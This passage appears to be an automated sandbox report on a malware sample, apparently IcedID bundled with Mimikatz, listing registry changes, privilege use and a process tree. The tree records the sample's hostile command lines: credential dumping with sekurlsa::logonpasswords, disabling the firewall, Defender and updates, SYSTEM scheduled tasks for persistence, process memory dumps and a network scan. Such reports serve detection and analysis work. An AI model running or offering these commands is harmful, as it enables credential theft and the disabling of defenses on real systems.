Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	vbtnwbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	vbtnwbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	vbtnwbn.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2216	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
Token: SeDebugPrivilege	1556	vbtnwbn.exe
Token: SeDebugPrivilege	5028	vbtnwbn.exe
Token: SeDebugPrivilege	3168	vfshost.exe
Token: SeDebugPrivilege	2096	wtumnnmbn.exe
Token: SeLockMemoryPrivilege	672	ngefld.exe
Token: SeLockMemoryPrivilege	672	ngefld.exe
Token: SeDebugPrivilege	4216	wtumnnmbn.exe
Token: SeDebugPrivilege	1220	wtumnnmbn.exe
Token: SeDebugPrivilege	224	wtumnnmbn.exe
Token: SeDebugPrivilege	3760	wtumnnmbn.exe
Token: SeDebugPrivilege	956	wtumnnmbn.exe
Token: SeDebugPrivilege	1540	wtumnnmbn.exe
Token: SeDebugPrivilege	4292	wtumnnmbn.exe
Token: SeDebugPrivilege	1036	wtumnnmbn.exe
Token: SeDebugPrivilege	1820	wtumnnmbn.exe
Token: SeDebugPrivilege	3336	wtumnnmbn.exe
Token: SeDebugPrivilege	1448	wtumnnmbn.exe
Token: SeDebugPrivilege	1680	wtumnnmbn.exe
Token: SeDebugPrivilege	1208	wtumnnmbn.exe
Token: SeDebugPrivilege	4816	wtumnnmbn.exe
Token: SeDebugPrivilege	2440	wtumnnmbn.exe
Token: SeDebugPrivilege	2984	wtumnnmbn.exe
Token: SeDebugPrivilege	4056	wtumnnmbn.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
1556	vbtnwbn.exe
1556	vbtnwbn.exe
5028	vbtnwbn.exe
5028	vbtnwbn.exe
3648	xohudmc.exe
3208	bgvdci.exe
4404	vbtnwbn.exe
4404	vbtnwbn.exe
2356	vbtnwbn.exe
2356	vbtnwbn.exe
452	vbtnwbn.exe
452	vbtnwbn.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 5064	4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe	82
PID 4600 wrote to memory of 5064	4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe	82
PID 4600 wrote to memory of 5064	4600	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe	82
PID 5064 wrote to memory of 2216	5064	cmd.exe	84
PID 5064 wrote to memory of 2216	5064	cmd.exe	84
PID 5064 wrote to memory of 2216	5064	cmd.exe	84
PID 5064 wrote to memory of 1556	5064	cmd.exe	90
PID 5064 wrote to memory of 1556	5064	cmd.exe	90
PID 5064 wrote to memory of 1556	5064	cmd.exe	90
PID 5028 wrote to memory of 4492	5028	vbtnwbn.exe	92
PID 5028 wrote to memory of 4492	5028	vbtnwbn.exe	92
PID 5028 wrote to memory of 4492	5028	vbtnwbn.exe	92
PID 4492 wrote to memory of 2284	4492	cmd.exe	94
PID 4492 wrote to memory of 2284	4492	cmd.exe	94
PID 4492 wrote to memory of 2284	4492	cmd.exe	94
PID 4492 wrote to memory of 2264	4492	cmd.exe	95
PID 4492 wrote to memory of 2264	4492	cmd.exe	95
PID 4492 wrote to memory of 2264	4492	cmd.exe	95
PID 4492 wrote to memory of 3392	4492	cmd.exe	96
PID 4492 wrote to memory of 3392	4492	cmd.exe	96
PID 4492 wrote to memory of 3392	4492	cmd.exe	96
PID 4492 wrote to memory of 3264	4492	cmd.exe	97
PID 4492 wrote to memory of 3264	4492	cmd.exe	97
PID 4492 wrote to memory of 3264	4492	cmd.exe	97
PID 4492 wrote to memory of 4432	4492	cmd.exe	98
PID 4492 wrote to memory of 4432	4492	cmd.exe	98
PID 4492 wrote to memory of 4432	4492	cmd.exe	98
PID 4492 wrote to memory of 1676	4492	cmd.exe	99
PID 4492 wrote to memory of 1676	4492	cmd.exe	99
PID 4492 wrote to memory of 1676	4492	cmd.exe	99
PID 5028 wrote to memory of 1736	5028	vbtnwbn.exe	100
PID 5028 wrote to memory of 1736	5028	vbtnwbn.exe	100
PID 5028 wrote to memory of 1736	5028	vbtnwbn.exe	100
PID 5028 wrote to memory of 1100	5028	vbtnwbn.exe	102
PID 5028 wrote to memory of 1100	5028	vbtnwbn.exe	102
PID 5028 wrote to memory of 1100	5028	vbtnwbn.exe	102
PID 5028 wrote to memory of 2524	5028	vbtnwbn.exe	104
PID 5028 wrote to memory of 2524	5028	vbtnwbn.exe	104
PID 5028 wrote to memory of 2524	5028	vbtnwbn.exe	104
PID 5028 wrote to memory of 1724	5028	vbtnwbn.exe	113
PID 5028 wrote to memory of 1724	5028	vbtnwbn.exe	113
PID 5028 wrote to memory of 1724	5028	vbtnwbn.exe	113
PID 1724 wrote to memory of 4932	1724	cmd.exe	115
PID 1724 wrote to memory of 4932	1724	cmd.exe	115
PID 1724 wrote to memory of 4932	1724	cmd.exe	115
PID 4932 wrote to memory of 4400	4932	wpcap.exe	116
PID 4932 wrote to memory of 4400	4932	wpcap.exe	116
PID 4932 wrote to memory of 4400	4932	wpcap.exe	116
PID 4400 wrote to memory of 4600	4400	net.exe	118
PID 4400 wrote to memory of 4600	4400	net.exe	118
PID 4400 wrote to memory of 4600	4400	net.exe	118
PID 4932 wrote to memory of 3356	4932	wpcap.exe	119
PID 4932 wrote to memory of 3356	4932	wpcap.exe	119
PID 4932 wrote to memory of 3356	4932	wpcap.exe	119
PID 3356 wrote to memory of 3564	3356	net.exe	121
PID 3356 wrote to memory of 3564	3356	net.exe	121
PID 3356 wrote to memory of 3564	3356	net.exe	121
PID 4932 wrote to memory of 2068	4932	wpcap.exe	122
PID 4932 wrote to memory of 2068	4932	wpcap.exe	122
PID 4932 wrote to memory of 2068	4932	wpcap.exe	122
PID 2068 wrote to memory of 4588	2068	net.exe	124
PID 2068 wrote to memory of 4588	2068	net.exe	124
PID 2068 wrote to memory of 4588	2068	net.exe	124
PID 4932 wrote to memory of 2472	4932	wpcap.exe	125

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2060
- C:\Windows\TEMP\ybidsenfa\ngefld.exe
  "C:\Windows\TEMP\ybidsenfa\ngefld.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:672

C:\Users\Admin\AppData\Local\Temp\20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bwbylena\vbtnwbn.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2216
- - C:\Windows\bwbylena\vbtnwbn.exe
    C:\Windows\bwbylena\vbtnwbn.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1556

C:\Windows\bwbylena\vbtnwbn.exe
C:\Windows\bwbylena\vbtnwbn.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2284
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:3264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4432
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1676
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  PID:1736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  PID:1100
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  PID:2524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cysgelbgy\gtirgeyld\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\cysgelbgy\gtirgeyld\wpcap.exe
    C:\Windows\cysgelbgy\gtirgeyld\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4400
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:4600
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3356
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:3564
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:4588
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:2472
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:4292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1396
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3620
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:4188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4956
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:2948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:5048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cysgelbgy\gtirgeyld\gwbrtisnb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\cysgelbgy\gtirgeyld\Scant.txt
  2⤵
  PID:3400
- - C:\Windows\cysgelbgy\gtirgeyld\gwbrtisnb.exe
    C:\Windows\cysgelbgy\gtirgeyld\gwbrtisnb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\cysgelbgy\gtirgeyld\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cysgelbgy\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\cysgelbgy\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:3576
- - C:\Windows\cysgelbgy\Corporate\vfshost.exe
    C:\Windows\cysgelbgy\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fblwycvbn" /ru system /tr "cmd /c C:\Windows\ime\vbtnwbn.exe"
  2⤵
  PID:3636
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3180
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fblwycvbn" /ru system /tr "cmd /c C:\Windows\ime\vbtnwbn.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "cwtnaiyyg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F"
  2⤵
  PID:3140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "cwtnaiyyg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:3564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "anmillmgb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F"
  2⤵
  PID:4196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "anmillmgb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:1648
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  PID:3292
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  PID:1928
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:4192
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:4684
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  PID:224
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  PID:1392
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:3388
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:3648
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  PID:1344
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  PID:4940
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:4060
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:2340
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:4924
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:3976
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:1564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:4220
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    PID:1316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:692
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:3636
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 768 C:\Windows\TEMP\cysgelbgy\768.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:1520
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:5064
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:3728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:3816
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:4988
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:2296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:1852
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:4860
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:4840
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:3188
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:5080
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:5036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:2292
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:3648
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 384 C:\Windows\TEMP\cysgelbgy\384.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4216
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 2060 C:\Windows\TEMP\cysgelbgy\2060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1220
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 2672 C:\Windows\TEMP\cysgelbgy\2672.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:224
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 2800 C:\Windows\TEMP\cysgelbgy\2800.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 2852 C:\Windows\TEMP\cysgelbgy\2852.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 3104 C:\Windows\TEMP\cysgelbgy\3104.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1540
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 3880 C:\Windows\TEMP\cysgelbgy\3880.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 3980 C:\Windows\TEMP\cysgelbgy\3980.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1036
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 4044 C:\Windows\TEMP\cysgelbgy\4044.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 1464 C:\Windows\TEMP\cysgelbgy\1464.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3336
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 4872 C:\Windows\TEMP\cysgelbgy\4872.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1448
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 4668 C:\Windows\TEMP\cysgelbgy\4668.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 2276 C:\Windows\TEMP\cysgelbgy\2276.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 1456 C:\Windows\TEMP\cysgelbgy\1456.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 3832 C:\Windows\TEMP\cysgelbgy\3832.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 3992 C:\Windows\TEMP\cysgelbgy\3992.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe
  C:\Windows\TEMP\cysgelbgy\wtumnnmbn.exe -accepteula -mp 3328 C:\Windows\TEMP\cysgelbgy\3328.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\SysWOW64\cmd.exe
